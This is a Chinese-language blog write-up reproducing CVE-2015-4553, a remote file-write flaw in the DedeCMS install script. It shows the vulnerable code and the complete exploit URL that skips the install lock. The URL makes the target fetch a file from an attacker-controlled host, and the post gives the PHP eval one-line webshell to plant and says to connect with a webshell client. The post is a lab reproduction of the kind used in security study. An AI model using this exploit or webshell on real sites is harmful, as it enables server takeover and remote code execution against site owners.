Dedecms织梦远程写文件漏洞
基本信息
漏洞编号:SSV-89354 CVE-ID:CVE-2015-4553 漏洞类别:变量覆盖 实验版本:dedecms
v5.7SP1(部分版本已修复) 利用条件:Apache,dedecms版本为v5.7SP且未修复,自备一台云主机
云主机ip:192.168.18.131
参考文章:http://blog.nsfocus.net/dedecms-write-file-vuln/
https://seclists.org/fulldisclosure/2015/Jun/472015年6月17日seclists网站上公布了Dedecms的一个远程getshell漏洞细节:官方已在2015年6月18日发布了修复版本。
Introduction: ======== dedecms Open source cms Extensive application Influence version Newest dedecms 5.7-sp1 and all old version Remote getshell
我测试了5.3版本,发现没有这个漏洞。后来测试了v5.7-SP1,发现我下载的这个版本已经修复了这个漏洞。后来我抱着试试运气的心态在网上找现存的靶机,访问这个存在漏洞的页面:
http://xxxxx.com/install/index.php.bak
,结果直接把这个页面下载下来了,打开一看,发现正好是有漏洞的代码。果断把这个文件替换本地的index.php.bak。然后就有后面的步骤。
前置知识
dedecms会把通过GET提交的参数转化为变量。
例如:打开localhost?test=hello world,然后代码就会生成一个$test变量,值为"hello world"。
Apache解析文件的流程:
当Apache检测到一个文件有多个扩展名时,如1.php.bak,会从右向左判断,直到有一个Apache认识的扩展名。如果所有的扩展名Apache都不认识,那么变会按照httpd.conf配置中所指定的方式展示这个问题,一般默认情况下是“text/plain”这种方式。
像1.php.bak这样的文件名就会被当做php文件所解析。这也就是传说中的Apache解析漏洞。
利用思路
- dedecms如果初始化过,就会生成一个文件**/install/install_lock.txt**,访问**/install/index.php.bak是首先判断/install/install_lock.txt是否存在,不存在则继续执行代码。我们得想办法让这个文件不存在,让index.php.bak**执行。
- 在执行**/install/index.php.bak时,如果$step==11会执行一句写文件的代码,其中文件名可控**,写的内容从远程获取,这个远程地址可控。把这个远程地址改成自己服务器,就可以把自己的文件内容再到目标服务器上。
代码分析
文件地址**/install/index.php.bak**,35行
if(file_exists($insLockfile))
{
exit(" 程序已运行安装,如果你确定要重新安装,请先从FTP中删除 install/install_lock.txt!");
}
访问这个页面加上参数**?insLockfile=aa就可以跳过这里的exit()**函数,其中aa为任意值。
文件地址**/install/index.php.bak**,372行
else if($step==11)
{
require_once('../data/admin/config_update.php');
$rmurl = $updateHost."dedecms/demodata.{$s_lang}.txt";
$sql_content = file_get_contents($rmurl);
$fp = fopen($install_demo_name,'w');
if(fwrite($fp,$sql_content))
echo ' <font color="green">[√]</font> 存在(您可以选择安装进行体验)';
else
echo ' <font color="red">[×]</font> 远程获取失败';
unset($sql_content);
fclose($fp);
exit();
}
我们提交参数?updataHost=http://192.168.18.131/
(注意地址后面的斜杠),$rumurl
就会等于“http://192.168.18.131/dedecms/demodata.utf-8.txt”
($s_lang
等于utf-8
或gbk
,可以在前端查看,在这里也可以传递一个参数把$s_lang
覆盖)。同时提交参数?install_demo_name=./t.php
,我们的利用代码就会写在/install/t.php
中。
漏洞复现
1.配置dedecms
-
解压DedecmsV53-UTF8-Final并移入网站根目录。
-
打开首页,根据指引完成网站初始化。
http://localhost/DedecmsV53-UTF8-Final/upload/
2.配置服务器
在自己的服务器上创建文件夹dedecms,本在这个文件下创建一个文件:demodata.utf-8.txt。在这个文件里写入一句话木马:<?php @eval($_GET[a]);?>
.
3.写入木马
访问下面链接,下面浏览器是写入成功的样子。
http://localhost/DedeCMS-V5.7-UTF8-SP1/uploads/install/index.php.bak?insLockfile=a&step=11&install_demo_name=./t.php&updateHost=http://192.168.18.131/
其中insLockfile指定a,是因为a不存在,当insLockfile指定的文件不存在时程序就会认为没有初始化过,就会继续执行初始化代码。step是指定初始化的步骤,漏洞代码出现在第11步。install_demo_name是指定要写的文件,updateHost是指定要获取的远程的文件,并把这个文件的内容写在install_demo_name文件里。
4.成功
然后可以用菜刀连接,success!!!!
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· winform 绘制太阳,地球,月球 运作规律
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 上周热点回顾(3.3-3.9)